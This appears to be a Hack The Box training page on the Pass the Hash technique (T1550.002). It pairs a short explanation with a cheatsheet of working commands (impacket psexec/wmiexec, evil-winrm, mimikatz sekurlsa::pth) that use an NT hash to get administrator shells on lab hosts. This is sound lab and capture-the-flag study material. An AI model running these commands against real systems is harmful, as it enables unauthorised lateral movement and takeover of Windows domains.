T1550.002

Pass the Hash

Sub-technique of T1550 Use Alternate Authentication Material ↗

Authenticating with a user's NT hash without knowing their password.

How it shows up on Hack The Box

An NT hash from SAM, LSASS, DCSync or ADCS works as is for SMB, WinRM and LDAP: no need to crack it. Use NetExec to see where it is admin.

Techniques in our catalog that match this one (the number is their machines):

Machines to practice it

Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.

Guides

Commands

Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.

Your values Saved in this browser and applied to every cheatsheet.

Windows and Active Directory privilege escalation › Windows

Pass-the-hash with psexec Attacker
impacket-psexec [email protected] -hashes :HASH_NT
Pass-the-hash with evil-winrm Attacker
evil-winrm -i 10.10.11.20 -u administrator -H HASH_NT

Windows and Active Directory privilege escalation › Active Directory

Shell as administrator with the hash
impacket-wmiexec box.htb/[email protected] -hashes :HASH_NT

Active Directory in depth › Impacket

with pass-the-hash Attacker
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]

C2 and post-exploitation › Lateral movement

impacket-wmiexec Attacker
impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b box.htb/[email protected]
evil-winrm Attacker
evil-winrm -i 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b

Mimikatz › Domain

Pass the hash (opens a process with that identity) Target
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:box.htb /ntlm:64f12cddaa88057e06a81b54e73b949b /run:powershell.exe" "exit"

Tools